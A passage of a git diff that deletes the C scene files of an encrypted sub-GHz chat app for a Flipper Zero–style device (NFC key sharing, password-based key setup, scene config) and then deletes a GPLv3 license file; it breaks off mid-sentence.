popup_set_icon(state->nfc_popup, 0, 8, &I_NFC_manual_60x50); - notification_message(state->notification, &sequence_blink_start_cyan); - } else if(new_state == KeyReadPopupState_Reading) { - popup_reset(state->nfc_popup); - popup_disable_timeout(state->nfc_popup); - popup_set_header( - state->nfc_popup, - "Reading key\nDon't " - "move...", - 85, - 24, - AlignCenter, - AlignTop); - popup_set_icon(state->nfc_popup, 12, 23, &I_Loading_24); - notification_message(state->notification, &sequence_blink_start_yellow); - } else if(new_state == KeyReadPopupState_Fail) { - nfc_worker_stop(state->nfc_worker); - - popup_reset(state->nfc_popup); - popup_set_header(state->nfc_popup, "Failure!", 64, 2, AlignCenter, AlignTop); - popup_set_text(state->nfc_popup, "Failed\nto read\nkey.", 78, 16, AlignLeft, AlignTop); - popup_set_icon(state->nfc_popup, 21, 13, &I_Cry_dolph_55x52); - - popup_set_timeout(state->nfc_popup, KEY_READ_POPUP_MS); - popup_set_context(state->nfc_popup, state); - popup_set_callback(state->nfc_popup, key_read_popup_timeout_cb); - popup_enable_timeout(state->nfc_popup); - - notification_message(state->notification, &sequence_blink_stop); - } else if(new_state == KeyReadPopupState_Success) { - nfc_worker_stop(state->nfc_worker); - - popup_reset(state->nfc_popup); - popup_set_header(state->nfc_popup, "Key\nread!", 13, 22, AlignLeft, AlignBottom); - popup_set_icon(state->nfc_popup, 32, 5, &I_DolphinNice_96x59); - - popup_set_timeout(state->nfc_popup, KEY_READ_POPUP_MS); - popup_set_context(state->nfc_popup, state); - popup_set_callback(state->nfc_popup, key_read_popup_timeout_cb); - popup_enable_timeout(state->nfc_popup); - - notification_message(state->notification, &sequence_success); - notification_message(state->notification, &sequence_blink_stop); - } - - scene_manager_set_scene_state(state->scene_manager, ESubGhzChatScene_KeyReadPopup, new_state); - - view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_NfcPopup); -} - -/* Prepares the key share read scene. */ -void scene_on_enter_key_read_popup(void* context) { - FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_key_read_popup"); - - furi_assert(context); - ESubGhzChatState* state = context; - - key_read_popup_set_state(state, KeyReadPopupState_Detecting); - - state->nfc_dev_data->parsed_data = furi_string_alloc(); - if(state->nfc_dev_data->parsed_data == NULL) { - /* can't do anything here, crash */ - furi_check(0); - } - - nfc_worker_start( - state->nfc_worker, NfcWorkerStateRead, state->nfc_dev_data, read_worker_cb, state); -} - -/* Handles scene manager events for the key read popup scene. */ -bool scene_on_event_key_read_popup(void* context, SceneManagerEvent event) { - FURI_LOG_T(APPLICATION_NAME, "scene_on_event_key_read_popup"); - - furi_assert(context); - ESubGhzChatState* state = context; - - bool consumed = false; - - switch(event.type) { - case SceneManagerEventTypeCustom: - switch(event.event) { - /* card detected */ - case NfcWorkerEventCardDetected: - key_read_popup_set_state(state, KeyReadPopupState_Reading); - consumed = true; - break; - - /* no card detected */ - case NfcWorkerEventNoCardDetected: - key_read_popup_set_state(state, KeyReadPopupState_Detecting); - consumed = true; - break; - - /* key probably read */ - case NfcWorkerEventReadMfUltralight: - if(key_read_popup_handle_key_read(state)) { - key_read_popup_set_state(state, KeyReadPopupState_Success); - } else { - key_read_popup_set_state(state, KeyReadPopupState_Fail); - } - consumed = true; - break; - - /* close the popup and go back */ - case ESubGhzChatEvent_KeyReadPopupFailed: - if(!scene_manager_previous_scene(state->scene_manager)) { - view_dispatcher_stop(state->view_dispatcher); - } - consumed = true; - break; - - /* success, go to frequency input */ - case ESubGhzChatEvent_KeyReadPopupSucceeded: - scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_FreqInput); - consumed = true; - break; - - /* something else happend, treat as failure */ - default: - key_read_popup_set_state(state, KeyReadPopupState_Fail); - consumed = true; - break; - } - - break; - - default: - consumed = false; - break; - } - - return consumed; -} - -/* Cleans up the key read popup scene. */ -void scene_on_exit_key_read_popup(void* context) { - FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_key_read_popup"); - - furi_assert(context); - ESubGhzChatState* state = context; - - popup_reset(state->nfc_popup); - scene_manager_set_scene_state( - state->scene_manager, ESubGhzChatScene_KeyReadPopup, KeyReadPopupState_Idle); - - notification_message(state->notification, &sequence_blink_stop); - - nfc_worker_stop(state->nfc_worker); - - crypto_explicit_bzero(state->nfc_dev_data->mf_ul_data.data, KEY_BITS / 8); - if(state->nfc_dev_data->parsed_data != NULL) { - furi_string_free(state->nfc_dev_data->parsed_data); - } - memset(state->nfc_dev_data, 0, sizeof(NfcDeviceData)); -} diff --git a/applications/external/esubghz_chat/scenes/esubghz_chat_key_share_popup.c b/applications/external/esubghz_chat/scenes/esubghz_chat_key_share_popup.c deleted file mode 100644 index 07d85cb33..000000000 --- a/applications/external/esubghz_chat/scenes/esubghz_chat_key_share_popup.c +++ /dev/null @@ -1,124 +0,0 @@ -#include "../esubghz_chat_i.h" -#include "../helpers/nfc_helpers.h" - -struct ReplayDictNfcWriterContext { - uint8_t* cur; - uint8_t* max; -}; - -static bool replay_dict_nfc_writer(uint64_t run_id, uint32_t counter, void* context) { - struct ReplayDictNfcWriterContext* ctx = (struct ReplayDictNfcWriterContext*)context; - - struct ReplayDictNfcEntry entry = {.run_id = run_id, .counter = __htonl(counter), .unused = 0}; - - if(ctx->cur + sizeof(entry) > ctx->max) { - return false; - } - - memcpy(ctx->cur, &entry, sizeof(entry)); - ctx->cur += sizeof(entry); - - return true; -} - -static void prepare_nfc_dev_data(ESubGhzChatState* state) { - NfcDeviceData* dev_data = state->nfc_dev_data; - - dev_data->protocol = NfcDeviceProtocolMifareUl; - furi_hal_random_fill_buf(dev_data->nfc_data.uid, 7); - dev_data->nfc_data.uid_len = 7; - dev_data->nfc_data.atqa[0] = 0x44; - dev_data->nfc_data.atqa[1] = 0x00; - dev_data->nfc_data.sak = 0x00; - - dev_data->mf_ul_data.type = MfUltralightTypeNTAG215; - dev_data->mf_ul_data.version.header = 0x00; - dev_data->mf_ul_data.version.vendor_id = 0x04; - dev_data->mf_ul_data.version.prod_type = 0x04; - dev_data->mf_ul_data.version.prod_subtype = 0x02; - dev_data->mf_ul_data.version.prod_ver_major = 0x01; - dev_data->mf_ul_data.version.prod_ver_minor = 0x00; - dev_data->mf_ul_data.version.storage_size = 0x11; - dev_data->mf_ul_data.version.protocol_type = 0x03; - - size_t data_written = 0; - - /* write key */ - crypto_ctx_get_key(state->crypto_ctx, dev_data->mf_ul_data.data); - data_written += (KEY_BITS / 8); - - /* write frequency */ - struct FreqNfcEntry* freq_entry = - (struct FreqNfcEntry*)(dev_data->mf_ul_data.data + data_written); - freq_entry->frequency = __htonl(state->frequency); - freq_entry->unused1 = 0; - freq_entry->unused2 = 0; - freq_entry->unused3 = 0; - data_written += sizeof(struct FreqNfcEntry); - - /* write the replay dict */ - struct ReplayDictNfcWriterContext wr_ctx = { - .cur = dev_data->mf_ul_data.data + data_written, - .max = dev_data->mf_ul_data.data + NFC_MAX_BYTES}; - - size_t n_entries = - crypto_ctx_dump_replay_dict(state->crypto_ctx, replay_dict_nfc_writer, &wr_ctx); - data_written += n_entries * sizeof(struct ReplayDictNfcEntry); - - /* calculate size of data, add 16 for config pages */ - dev_data->mf_ul_data.data_size = data_written + (NFC_CONFIG_PAGES * 4); -} - -/* Prepares the key share popup scene. */ -void scene_on_enter_key_share_popup(void* context) { - FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_key_share_popup"); - - furi_assert(context); - ESubGhzChatState* state = context; - - popup_reset(state->nfc_popup); - - popup_disable_timeout(state->nfc_popup); - - popup_set_header(state->nfc_popup, "Sharing...", 67, 13, AlignLeft, AlignTop); - popup_set_icon(state->nfc_popup, 0, 3, &I_NFC_dolphin_emulation_47x61); - popup_set_text(state->nfc_popup, "Sharing\nKey via\nNFC", 90, 28, AlignCenter, AlignTop); - - prepare_nfc_dev_data(state); - nfc_worker_start( - state->nfc_worker, NfcWorkerStateMfUltralightEmulate, state->nfc_dev_data, NULL, NULL); - - notification_message(state->notification, &sequence_blink_start_magenta); - - view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_NfcPopup); -} - -/* Handles scene manager events for the key share popup scene. */ -bool scene_on_event_key_share_popup(void* context, SceneManagerEvent event) { - FURI_LOG_T(APPLICATION_NAME, "scene_on_event_key_share_popup"); - - furi_assert(context); - ESubGhzChatState* state = context; - - UNUSED(state); - UNUSED(event); - - return false; -} - -/* Cleans up the key share popup scene. */ -void scene_on_exit_key_share_popup(void* context) { - FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_key_share_popup"); - - furi_assert(context); - ESubGhzChatState* state = context; - - popup_reset(state->nfc_popup); - - notification_message(state->notification, &sequence_blink_stop); - - nfc_worker_stop(state->nfc_worker); - - crypto_explicit_bzero(state->nfc_dev_data->mf_ul_data.data, KEY_BITS / 8); - memset(state->nfc_dev_data, 0, sizeof(NfcDeviceData)); -} diff --git a/applications/external/esubghz_chat/scenes/esubghz_chat_pass_input.c b/applications/external/esubghz_chat/scenes/esubghz_chat_pass_input.c deleted file mode 100644 index f1cf4bfa7..000000000 --- a/applications/external/esubghz_chat/scenes/esubghz_chat_pass_input.c +++ /dev/null @@ -1,109 +0,0 @@ -#include "../esubghz_chat_i.h" - -/* Sends PassEntered event to scene manager. */ -static void pass_input_cb(void* context) { - furi_assert(context); - ESubGhzChatState* state = context; - - crypto_explicit_bzero(state->text_input_store, sizeof(state->text_input_store)); - - view_dispatcher_send_custom_event(state->view_dispatcher, ESubGhzChatEvent_PassEntered); -} - -/* If a password was entered this derives a key from the password using a - * single pass of SHA256 and initiates the AES-GCM context for encryption. If - * the initiation fails, the password is rejected. */ -static bool pass_input_validator(const char* text, FuriString* error, void* context) { - furi_assert(text); - furi_assert(error); - - furi_assert(context); - ESubGhzChatState* state = context; - - if(strlen(text) == 0) { - furi_string_printf(error, "Enter a\npassword!"); - return false; - } - - unsigned char key[KEY_BITS / 8]; - - /* derive a key from the password */ - sha256((unsigned char*)text, strlen(text), key); - - /* initiate the crypto context */ - bool ret = crypto_ctx_set_key(state->crypto_ctx, key, state->name_prefix, furi_get_tick()); - - /* cleanup */ - crypto_explicit_bzero(key, sizeof(key)); - - if(!ret) { - crypto_ctx_clear(state->crypto_ctx); - furi_string_printf(error, "Failed to\nset key!"); - return false; - } - - state->encrypted = true; - - return true; -} - -/* Prepares the password input scene. */ -void scene_on_enter_pass_input(void* context) { - FURI_LOG_T(APPLICATION_NAME, "scene_on_enter_pass_input"); - - furi_assert(context); - ESubGhzChatState* state = context; - - state->text_input_store[0] = 0; - text_input_reset(state->text_input); - text_input_set_result_callback( - state->text_input, - pass_input_cb, - state, - state->text_input_store, - sizeof(state->text_input_store), - true); - text_input_set_validator(state->text_input, pass_input_validator, state); - text_input_set_header_text(state->text_input, "Password"); - - view_dispatcher_switch_to_view(state->view_dispatcher, ESubGhzChatView_Input); -} - -/* Handles scene manager events for the password input scene. */ -bool scene_on_event_pass_input(void* context, SceneManagerEvent event) { - FURI_LOG_T(APPLICATION_NAME, "scene_on_event_pass_input"); - - furi_assert(context); - ESubGhzChatState* state = context; - - bool consumed = false; - - switch(event.type) { - case SceneManagerEventTypeCustom: - switch(event.event) { - /* switch to frequency input scene */ - case ESubGhzChatEvent_PassEntered: - scene_manager_next_scene(state->scene_manager, ESubGhzChatScene_FreqInput); - consumed = true; - break; - } - break; - - default: - consumed = false; - break; - } - - return consumed; -} - -/* Cleans up the password input scene. */ -void scene_on_exit_pass_input(void* context) { - FURI_LOG_T(APPLICATION_NAME, "scene_on_exit_pass_input"); - - furi_assert(context); - ESubGhzChatState* state = context; - - text_input_reset(state->text_input); - crypto_explicit_bzero(state->text_input_store, sizeof(state->text_input_store)); -} diff --git a/applications/external/esubghz_chat/scenes/esubghz_chat_scene.c b/applications/external/esubghz_chat/scenes/esubghz_chat_scene.c deleted file mode 100644 index 5efb8ea10..000000000 --- a/applications/external/esubghz_chat/scenes/esubghz_chat_scene.c +++ /dev/null @@ -1,30 +0,0 @@ -#include "esubghz_chat_scene.h" - -// Generate scene on_enter handlers array -#define ADD_SCENE(prefix, name, id) scene_on_enter_##name, -void (*const esubghz_chat_scene_on_enter_handlers[])(void*) = { -#include "esubghz_chat_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_event handlers array -#define ADD_SCENE(prefix, name, id) scene_on_event_##name, -bool (*const esubghz_chat_scene_on_event_handlers[])(void* context, SceneManagerEvent event) = { -#include "esubghz_chat_scene_config.h" -}; -#undef ADD_SCENE - -// Generate scene on_exit handlers array -#define ADD_SCENE(prefix, name, id) scene_on_exit_##name, -void (*const esubghz_chat_scene_on_exit_handlers[])(void* context) = { -#include "esubghz_chat_scene_config.h" -}; -#undef ADD_SCENE - -// Initialize scene handlers configuration structure -const SceneManagerHandlers esubghz_chat_scene_event_handlers = { - .on_enter_handlers = esubghz_chat_scene_on_enter_handlers, - .on_event_handlers = esubghz_chat_scene_on_event_handlers, - .on_exit_handlers = esubghz_chat_scene_on_exit_handlers, - .scene_num = ESubGhzChatScene_MAX, -}; diff --git a/applications/external/esubghz_chat/scenes/esubghz_chat_scene.h b/applications/external/esubghz_chat/scenes/esubghz_chat_scene.h deleted file mode 100644 index 3f57d2cc7..000000000 --- a/applications/external/esubghz_chat/scenes/esubghz_chat_scene.h +++ /dev/null @@ -1,29 +0,0 @@ -#pragma once - -#include - -// Generate scene id and total number -#define ADD_SCENE(prefix, name, id) ESubGhzChatScene_##id, -typedef enum { -#include "esubghz_chat_scene_config.h" - ESubGhzChatScene_MAX -} ESubGhzChatScene; -#undef ADD_SCENE - -extern const SceneManagerHandlers esubghz_chat_scene_event_handlers; - -// Generate scene on_enter handlers declaration -#define ADD_SCENE(prefix, name, id) void scene_on_enter_##name(void*); -#include "esubghz_chat_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_event handlers declaration -#define ADD_SCENE(prefix, name, id) \ - bool scene_on_event_##name(void* context, SceneManagerEvent event); -#include "esubghz_chat_scene_config.h" -#undef ADD_SCENE - -// Generate scene on_exit handlers declaration -#define ADD_SCENE(prefix, name, id) void scene_on_exit_##name(void* context); -#include "esubghz_chat_scene_config.h" -#undef ADD_SCENE diff --git a/applications/external/esubghz_chat/scenes/esubghz_chat_scene_config.h b/applications/external/esubghz_chat/scenes/esubghz_chat_scene_config.h deleted file mode 100644 index 85981c898..000000000 --- a/applications/external/esubghz_chat/scenes/esubghz_chat_scene_config.h +++ /dev/null @@ -1,9 +0,0 @@ -ADD_SCENE(esubghz_chat, freq_input, FreqInput) -ADD_SCENE(esubghz_chat, key_menu, KeyMenu) -ADD_SCENE(esubghz_chat, pass_input, PassInput) -ADD_SCENE(esubghz_chat, hex_key_input, HexKeyInput) -ADD_SCENE(esubghz_chat, key_read_popup, KeyReadPopup) -ADD_SCENE(esubghz_chat, chat_input, ChatInput) -ADD_SCENE(esubghz_chat, chat_box, ChatBox) -ADD_SCENE(esubghz_chat, key_display, KeyDisplay) -ADD_SCENE(esubghz_chat, key_share_popup, KeySharePopup) diff --git a/applications/external/etch_a_sketch/LICENSE b/applications/external/etch_a_sketch/LICENSE deleted file mode 100644 index f288702d2..000000000 --- a/applications/external/etch_a_sketch/LICENSE +++ /dev/null @@ -1,674 +0,0 @@ - GNU GENERAL PUBLIC LICENSE - Version 3, 29 June 2007 - - Copyright (C) 2007 Free Software Foundation, Inc. - Everyone is permitted to copy and distribute verbatim copies - of this license document, but changing it is not allowed. - - Preamble - - The GNU General Public License is a free, copyleft license for -software and other kinds of works. - - The licenses for most software and other practical works are designed -to take away your freedom to share and change the works. By contrast, -the GNU General Public License is intended to guarantee your freedom to -share and change all versions of a program--to make sure it remains free -software for all its users. We, the Free Software Foundation, use the -GNU General Public License for most of our software; it applies also to -any other work released this way by its authors. You can apply it to -your programs, too. - - When we speak of free software, we are referring to freedom, not -price. Our General Public Licenses are designed to make sure that you -have the freedom to distribute copies of free software (and charge for -them if you wish), that you receive source code or can get it if you -want it, that you can change the software or use pieces of it in new -free programs, and that you know you can do these things. - - To protect your rights, we need to prevent others from denying you -these rights or asking you to surrender the rights. Therefore, you have -certain responsibilities if you distribute copies of the software, or if -you modify it: responsibilities to respect the freedom of others. - - For example, if you distribute copies of such a program, whether -gratis or for a fee, you must pass on to the recipients the same -freedoms that you received. You must make sure that they, too, receive -or can get the source code. And you must show them these terms so they -know their rights. - - Developers that use the GNU GPL protect your rights with two steps: -(1) assert copyright on the software, and (2) offer you this License -giving you legal permission to copy, distribute and/or modify it. - - For the developers' and authors' protection, the GPL clearly explains -that there is no warranty for this free software. For both users' and -authors' sake, the GPL requires that modified versions be marked as -changed, so that their problems will not be attributed erroneously to -authors of previous versions. - - Some devices are designed to deny users access to install or run -modified versions of the software inside them, although the manufacturer -can do so. This is fundamentally incompatible with the aim of -protecting users' freedom to change the software. The systematic -pattern of such abuse occurs in the area of products for individuals to -use, which is precisely where it is most unacceptable. Therefore, we -have designed this version of the GPL to prohibit the practice for those -products. If such problems arise substantially in other domains, we -stand ready to extend this provision to those domains in future versions -of the GPL, as needed to protect the freedom of users. - - Finally, every program is threatened constantly by software patents. -States should not allow patents to restrict development and use of -software on general-purpose computers, but in those that do, we wish to -avoid the special danger that patents applied to a free program could -make it effectively proprietary. To prevent this, the GPL assures that -patents cannot be used to render the program non-free. - - The precise terms and conditions for copying, distribution and -modification follow. - - TERMS AND CONDITIONS - - 0. Definitions. - - "This License" refers to version 3 of the GNU General Public License. - - "Copyright" also means copyright-like laws that apply to other kinds of -works, such as semiconductor masks. - - "The Program" refers to any copyrightable work licensed under this -License. Each licensee is addressed as "you". "Licensees" and -"recipients" may be individuals or organizations. - - To "modify" a work means to copy from or adapt all or part of the work -in a fashion requiring copyright permission, other than the making of an -exact copy. The resulting work is called a "modified version" of the -earlier work or a work "based on" the earlier work. - - A "covered work" means either the unmodified Program or a work based -on the Program. - - To "propagate" a work means to do anything with it that, without -permission, would make you directly or secondarily liable for -infringement under applicable copyright law, except executing it on a -computer or modifying a private copy. Propagation includes copying, -distribution (with or without modification), making available to the -public, and in some countries other activities as well. - - To "convey" a work means any kind of propagation that enables other -parties to make or receive copies. Mere interaction with a user through -a computer network, with no transfer of a copy, is not conveying. - - An interactive user interface displays "Appropriate Legal Notices" -to the extent that it includes a convenient and prominently visible -feature that (1) displays an appropriate copyright notice, and (2) -tells the user that there is no warranty for the work (except to the -extent that warranties are provided), that licensees may convey the -work under this License, and how to view a copy of this License. If -the interface presents a list of user commands or options, such as a -menu, a prominent item in the list meets this criterion. - - 1. Source Code. - - The "source code" for a work means the preferred form of the work -for making modifications to it. "Object code" means any non-source -form of a work. - - A "Standard Interface" means an interface that either is an official -standard defined by a recognized standards body, or, in the case of -interfaces specified for a particular programming language, one that -is widely used among developers working in that language. - - The "System Libraries" of an executable work include anything, other -than the work as a whole, that (a) is included in the normal form of -packaging a Major Component, but which is not part of that Major -Component, and (b) serves only to enable use of the work with that -Major Component, or to implement a Standard Interface for which an -implementation is available to the public in source code form. A -"Major Component", in this context, means a major essential component -(kernel, window system, and so on) of the specific operating system -(if any) on which the executable work runs, or a compiler used to -produce the work, or an object code interpreter used to run it. - - The "Corresponding Source" for a work in object code form means all -the source code needed to generate, install, and (for an executable -work) run the object code and to modify the work, including scripts to -control those activities. However, it does not include the work's -System Libraries, or general-purpose tools or generally available free -programs which are used unmodified in performing those activities but -which are not part of the work. For example, Corresponding Source -includes interface definition files associated with source files for -the work, and the source code for shared libraries and dynamically -linked subprograms that the work is specifically designed to require, -such as by intimate data communication or control flow between those -subprograms and other parts of the work. - - The Corresponding Source need not include anything that users -can regenerate automatically from other parts of the Corresponding -Source. - - The Corresponding Source for a work in source code form is that -same work. - - 2. Basic Permissions. - - All rights granted under this License are granted for the term of -copyright on the Program, and are irrevocable provided the stated -conditions are met. This License explicitly affirms your unlimited -permission to run the unmodified Program. The output from running a -covered work is covered by this License only if the output, given its -content, constitutes a covered work. This License acknowledges your -rights of fair use or other equivalent, as provided by copyright law. - - You may make, run and propagate covered works that you do not -convey, without conditions so long as your license otherwise remains -in force. You may convey covered works to others for the sole purpose -of having them make modifications exclusively for you, or provide you -with facilities for running those works, provided that you comply with -the terms of this License in conveying all material for which you do -not control copyright. Those thus making or running the covered works -for you must do so exclusively on your behalf, under your direction -and control, on terms that prohibit them from making any copies of -your copyrighted material outside their relationship with you. - - Conveying under any other circumstances is permitted solely under -the conditions stated below. Sublicensing is not allowed; section 10 -makes it unnecessary. - - 3. Protecting Users' Legal Rights From Anti-Circumvention Law. - - No covered work shall be deemed part of an effective technological -measure under any applicable law fulfilling obligations under article -11 of the WIPO copyright treaty adopted on 20 December 1996, or -similar laws prohibiting or restricting circumvention of such -measures. - - When you convey a covered work, you waive any legal power to forbid -circumvention of technological measures to the extent such circumvention -is effected by exercising rights under this License with respect to -the covered work, and you disclaim any intention to limit operation or -modification of the work as a means of enforcing, against the work's -users, your or third parties' legal rights to forbid circumvention of -technological measures. - - 4. Conveying Verbatim Copies. - - You may convey verbatim copies of the Program's source code as you -receive it, in any medium, provided that you conspicuously and -appropriately publish on each copy an appropriate copyright notice; -keep intact all notices stating that this License and any -non-permissive terms added in accord with section 7 apply to the code; -keep intact all notices of the absence of any warranty; and give all -recipients a copy of this License along with the Program. - - You may charge any price or no price for each copy that you convey, -and you may offer support or warranty protection for a fee. - - 5. Conveying Modified Source Versions. - - You may convey a work based on the Program, or the modifications to -produce it from the Program, in the form of source code under the -terms of section 4, provided that you also meet all of these conditions: - - a) The work must carry prominent notices stating that you modified - it, and giving a relevant date. - - b) The work must carry prominent notices stating that it is - released under this License and any conditions added under section - 7. This requirement modifies the requirement in section 4 to - "keep intact all notices". - - c) You must license the entire work, as a whole, under this - License to anyone who comes into possession of a copy. This - License will therefore apply, along with any applicable section 7 - additional terms, to the whole of the work, and all its parts, - regardless of how they are packaged. This License gives no - permission to license the work in any other way, but it does not - invalidate such permission if you have separately received it. - - d) If the work has interactive user interfaces, each must display - Appropriate Legal Notices; however, if the Program has interactive - interfaces that do not display Appropriate Legal Notices, your - work need not make them do so. - - A compilation of a covered work with other separate and independent -works, which are not by their nature extensions of the covered work, -and which are not combined with it such as to form a larger program, -in or on a volume of a storage or distribution medium, is called an -"aggregate" if the compilation and its resulting copyright are not -used to limit the access or legal rights of the compilation's users -beyond what the individual works permit. Inclusion of a covered work -in an aggregate does not cause this License to apply to the other -parts of the aggregate. - - 6. Conveying Non-Source Forms. - - You may convey a covered work in object code form under the terms -of sections 4 and 5, provided that you also convey the -machine-readable Corresponding Source under the terms of this License, -in one of these ways: - - a) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by the - Corresponding Source fixed on a durable physical medium - customarily used for software interchange. - - b) Convey the object code in, or embodied in, a physical product - (including a physical distribution medium), accompanied by a - written offer, valid for at least three years and valid for as - long as you offer spare parts or customer support for that product - model, to give anyone who possesses the object code either (1) a - copy of the Corresponding Source for all the software in the - product that is covered by this License, on a durable physical - medium customarily used for software interchange, for a price no - more than your reasonable cost of physically performing this - conveying of source, or (2) access to copy the - Corresponding Source from a network server at no charge. - - c) Convey individual copies of the object code with a copy of the - written offer to provide the Corresponding Source. This - alternative is allowed only occasionally and noncommercially, and - only if you received the object code with such an offer, in accord - with subsection 6b. - - d) Convey the object code by offering access from a designated - place (gratis or for a charge), and offer equivalent access to the - Corresponding Source in the same way through the same place at no - further charge. You need not require recipients to copy the - Corresponding Source along with the object code. If the place to - copy the object code is a network server, the Corresponding Source - may be on a different server (operated by you or a third party) - that supports equivalent copying facilities, provided you maintain - clear directions next to the object code saying where to find the - Corresponding Source. Regardless of what server hosts the - Corresponding Source, you remain obligated to ensure that it is - available for as long as needed to satisfy these requirements. - - e) Convey the object code using peer-to-peer transmission, provided - you inform other peers where the object code and Corresponding - Source of the work are being offered to the general public at no - charge under subsection 6d. - - A separable portion of the object code, whose source code is excluded -from the Corresponding Source as a System Library, need not be -included in conveying the object code work. - - A "User Product" is either (1) a "consumer product", which means any -tangible personal property which is normally used for personal, family, -or household purposes, or (2) anything designed or sold for incorporation -into a dwelling. In determining whether a product is a consumer product, -doubtful cases shall be resolved in favor of coverage. For a particular -product received by a particular user, "normally used" refers to a -typical or common use of that class of product, regardless of the status -of the particular user or of the way in which the particular user -actually uses, or expects or is expected to use, the product. A product -is a consumer product regardless of whether the product has substantial -commercial, industrial or non-consumer uses, unless such uses represent -the only significant mode of use of the product. - - "Installation Information" for a User Product means any methods, -procedures, authorization keys, or other information required to install -and execute modified versions of a covered work in that User Product from -a modified version of its Corresponding Source. The information must -suffice to ensure that the continued functioning of the modified object -code is in no case prevented or interfered with solely because -modification has been made. - - If you convey an object code work under this section in, or with, or -specifically for use in, a User Product, and the conveying occurs as -part of a transaction in which the right of possession and use of the -User Product is transferred to the recipient in perpetuity or for a -fixed term (regardless of how the transaction is characterized), the -Corresponding Source conveyed under this section must be accompanied -by the Installation Information. But this requirement does not apply -if neither you nor any third party retains the ability to install -modified object code on the User Product (for example, the work has -been installed in ROM). - - The requirement to provide Installation Information does not include a -requirement to continue to provide support service, warranty, or updates -for a work that has been modified or installed by the recipient, or for -the User Product in which it has been modified or installed. Access to a -network may be denied when the modification itself materially and -adversely affects the operation of the network or violates the rules and -protocols for communication across the network. - - Corresponding Source conveyed, and Installation Information provided, -in accord with this section must be in a format that is publicly -documented (and with an implementation available to the public in -source code form), and must require no special password or key for -unpacking, reading or copying. - - 7. Additional Terms. - - "Additional permissions" are terms that supplement the terms of this -License by making exceptions from one or more of its conditions. -Additional permissions that are applicable to the entire Program shall -be treated as though they were included in this License, to the extent -that they are valid under applicable law. If additional permissions -apply only to part of the Program, that part may be used separately -under those permissions, but the entire Program remains governed by -this License without regard to the additional permissions. - - When you convey a copy of a covered work, you may at your option -remove any additional permissions from that copy, or from any part of -it. (Additional permissions may be written to require their own -removal in certain cases when you modify the work.) You may place -additional permissions on material, added by you to a covered work, -for which you have or can give appropriate copyright permission. - - Notwithstanding any other provision of this License, for material you -add to a covered work, you may (if authorized by the copyright holders of -that material) supplement the terms of this License with terms: - - a) Disclaiming warranty or limiting liability differently from the - terms of sections 15 and 16 of this License; or - - b) Requiring preservation of specified reasonable legal notices or - author attributions in that material or in the Appropriate Legal - Notices displayed by works containing it; or - - c) Prohibiting misrepresentation of the origin of that material, or - requiring that modified versions of such material be marked in - reasonable ways as different from the original version; or - - d) Limiting the use for publicity purposes of names of licensors or - authors of the material; or - - e) Declining to grant rights under trademark law for use of some - trade names, trademarks, or service marks; or - - f) Requiring indemnification of licensors and authors of that - material by anyone who conveys the material (or modified versions of - it) with contractual assumptions of liability to the recipient, for - any liability that these contractual assumptions directly impose on - those licensors and authors. - - All other non-permissive additional terms are considered "further -restrictions" within the meaning of section 10. If the Program as you -received it, or any part of it, contains a notice stating that it is -governed by this License along with a term that is a further -restriction, you may remove that term. If a license document contains -a further restriction but permits relicensing or conveying under this -License, you may add to a covered work material governed by the terms -of that license document, provided that the further restriction does -not survive such relicensing or conveying. - - If you add terms to a covered work in accord with this section, you -must place, in the relevant source files, a statement of the -additional terms that apply to those files, or a notice indicating -where to find the applicable terms. - - Additional terms, permissive or non-permissive, may be stated in the -form of a separately written license, or stated as exceptions; -the above requirements apply either way. - - 8. Termination. - - You may not propagate or modify a covered work except as expressly -provided under this License. Any attempt otherwise to propagate or -modify it is void, and will automatically terminate your rights under -this License (including any patent licenses granted under the third -paragraph of section 11). - - However, if you cease all violation of this License, then your -license from a particular copyright holder is reinstated (a) -provisionally, unless and until the copyright holder explicitly and -finally terminates your license, and (b) permanently, if the copyright -holder fails to notify you of the violation by some reasonable means -prior to 60 days after the cessation. - - Moreover, your license from a particular copyright holder is -reinstated permanently if the copyright holder notifies you of the -violation by some reasonable means, this is the first time you have -received notice of violation of this License (for any work) from that -copyright holder, and you cure the violation prior to 30 days after -your receipt of the notice. - - Termination of your rights under this section does not terminate the -licenses of parties who have received copies or rights from you under -this License. If your rights have been terminated and not permanently -reinstated, you do not qualify to receive new licenses for the same -material under section 10. - - 9. Acceptance Not Required for Having Copies. - - You are not required to accept this License in order to receive or -run a copy of the Program. Ancillary propagation of a covered work -occurring solely as a consequence of using peer-to-peer transmission -to receive a copy likewise does not require acceptance. However, -nothing other than this License grants you permission to propagate or -modify any covered work. These actions infringe copyright if you do -not accept this License. Therefore, by modifying or propagating a -covered work, you indicate your acceptance of this License to do so. - - 10. Automatic Licensing of Downstream Recipients. - - Each time you convey a covered work, the recipient automatically -receives a license from the original licensors, to run, modify and -propagate that work, subject to this License. You are not responsible -for enforcing compliance by third parties with this License. - - An "entity transaction" is a transaction transferring control of an -organization, or substantially all assets of one, or subdividing an -organization, or merging organizations. If propagation of a covered -work results from an entity transaction, each party to that -transaction who receives a copy of the work also receives whatever -licenses to the work the party's predecessor in interest had or could -give under the previous paragraph, plus a right to possession of the -Corresponding Source of the work from the predecessor in interest, if -the predecessor has it or can get it with reasonable efforts. - - You may not impose any further restrictions on the exercise of the -rights granted or affirmed under this License. For example, you may -not impose a license fee, royalty, or other charge for exercise of -rights granted under this License, and you may not initiate litigation -(including a cross-claim or counterclaim in a lawsuit) alleging that -any patent claim is infringed by making, using, selling, offering for -sale, or importing the Program or any portion of it. - - 11. Patents. - - A "contributor" is a copyright holder who authorizes use under this -License of the Program or a work on which the Program is based. The -work thus licensed is called the contributor's "contributor version". - - A contributor's "essential patent claims" are all patent claims -owned or controlled by the contributor, whether already acquired or -hereafter acquired, that would be infringed by some manner, permitted -by this License, of making, using, or selling its contributor version, -but do not include claims that would be infringed only as a -consequence of further modification of the contributor version. For -purposes of this definition, "control" includes the right to grant -patent sublicenses in a manner consistent with the requirements of -this License. - - Each contributor grants you a non-exclusive, worldwide, royalty-free -patent license under the contributor's essential patent claims, to -make, use, sell, offer 